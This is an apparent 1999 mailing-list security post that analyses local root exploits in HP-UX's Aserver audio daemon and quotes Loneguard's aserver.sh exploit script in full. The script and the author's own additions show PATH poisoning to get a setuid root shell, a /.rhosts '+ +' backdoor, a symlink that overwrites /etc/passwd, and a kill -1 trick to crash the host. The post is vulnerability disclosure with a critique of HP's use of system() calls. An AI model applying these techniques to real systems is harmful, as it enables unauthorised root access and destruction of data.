HPUX Aserver revisited.

[justin () EE BYU EDU (Justin Tripp)]

I was intrigued by aserver.sh exploit script posted by Loneguard that I
decided to do some of my own investigation.  The results are as
follows:

1. Aserver will not run on a machine that does not have Audio Hardware.
Thus all beep only machines are safe. (e.g. 705?,710,720,730,750, etc.)
800s may or may not have audio hardware, I have little experience with
them.  If you try to run Aserver it poops out:

        failed to open /dev/audioIL - Aserver exiting

2. There are atleast two different (if not three) versions of Aserver.
Due to Y2K I only have access to two (since almost all the machines I have
available have the lastest and greatest patches.)

oldmach> what /opt/audio/bin/Aserver
/opt/audio/bin/Aserver:
        X Window System, Version 11 R5+ HP-UX B.10.10.00 Oct 1998 Patch
Release
        (build date: Wed Oct 14 06:02:49 MDT 1998)

newmach> what /opt/audio/bin/Aserver
/opt/audio/bin/Aserver:
        X Window System, Version 11 R5+ HP-UX B.10.10.00 June 1999 Patch
Release
        (build date: Thu Jun  3 22:18:56 MDT 1999)

The lastest patches probably bring your Aserver to the Jun99 version.  But
the Oct98 version is also fairly current.

3. Aserver seems to have some system() calls that run external unix
commands.  strings reveals the nature of the commands:

Oct98
ps -e | grep Aserver | grep -v grep | grep -v %s  > /dev/null

Jun99
/usr/bin/ps -e | /usr/bin/grep Aserver | /usr/bin/grep -v grep | \
/usr/bin/grep -v %s  > /tmp/null

kill `awk '{print $1}' /tmp/null` 2>/dev/null

4. Loneguard's script only worked partially for me on the Oct98 version of
Aserver.  Loneguards script does not work at all with the Jun99 version.
The Jun99 version can be exploited, too -- but in a different way.

Loneguard's script uses the fact that the path is not specifed in the
system call and thus you can substitute your own version of ps for the one
that is to be called.  Since you can change the path ordering it is
possible to run whatever commands you want as root.  I was unable to
duplicate the bad permissions on the temporary file /tmp/last_uuid.
Neither version of Aserver had that file name in the binary nor did they
seem to create it.

The Jun99 version foils this by putting the path in for every command.
But they give you some more weapons that make things just as easy.

Instead of ignoring the output, Aserver saves the output into file
/tmp/null.  Since it does this as system command, the program does not
check to see if file already exists or not, so if there is some
troublesome file or something you want to over write simply:

ln -s /etc/passwd /tmp/null

And then the file will be overwritten.  Reboot the HP box and it will beg
your for a root password(seriously).  Unfortunately the only thing that
goes into /tmp/null is the output from ps -e (but maybe somebody can
figure out a way to make + + appear in that).

It is funny that HP fixed their earlier problem in the Oct98 version of
Aserver in the Jun99 version, but they introduced the same problem in a
different way.  Aserver -f is used to force the Aserver to replace the
currently running copy.  (Aserver has the habit of failling or doing weird
things.)  So the Jun99 version looks for running copies and then kills
them with the kill statement:

kill `awk '{print $1}' /tmp/null` 2>/dev/null

Well looky here I can write a script named 'awk' and place it before /bin
in my execution path and do the same thing with the Jun99 version as I can
with the Oct98.  An attempt was made to fix it, but it introduced the same
bug again...

The above system call could also be used as a process killer.  Since
you can rewrite what awk will return, you could have it echo "-1" and take
the whole box down.  Feel free to be creative.

The real question is "Why is HP using system() and script type functions
for things that have kernel APIs?"  A root process can just open the pstat
process structure and get a list of processes from the kernel just like ps
can.  A little more programming is involved, but that is what ps does.
There really is no need to do a system call on kill either.  I think
kill() still works and this would avoid the other problems.

Enough ranting.  I believe this explains how aserver.sh works fairly
well.

                                .justin.

On Thu, 30 Dec 1999 Loneguard () SECURITYFOCUS COM wrote:

;)#!/bin/sh
;)#
;)# HP-UX aserver.sh - Loneguard 18/10/98
;)# Simple no brainer path poison followed by a twist [ inspired by DC ;) ]
;)#
;)cd /var/tmp
;)cat < _EOF > ps
;)#!/bin/sh
;)cp /bin/csh /var/tmp/.foosh
;)chmod 4755 /var/tmp/.foosh
;)_EOF
;)chmod 755 ps
;)PATH=.:$PATH
;)/opt/audio/bin/Aserver -f
;)if [ -e /var/tmp/.foosh ]
;)      # Hmmm, you not like that technique?
;)      cd /tmp
;)      rm last_uuid
;)      ln -s /.rhosts last_uuid
;)      /opt/audio/bin/Aserver -f
;)      echo "+ +" > /.rhosts
;)      # Haha, my Kungfu is the best!
;)fi
;)echo Crazy MONKEY!
;)

------------------------------------------------------------------------
Justin Leonard Tripp                            justin () NOspam ee byu edu
Configurable Computing Laboratory Research Assistant      CB 461 x8-7206
Electrical and Computer Engineering Department  Brigham Young University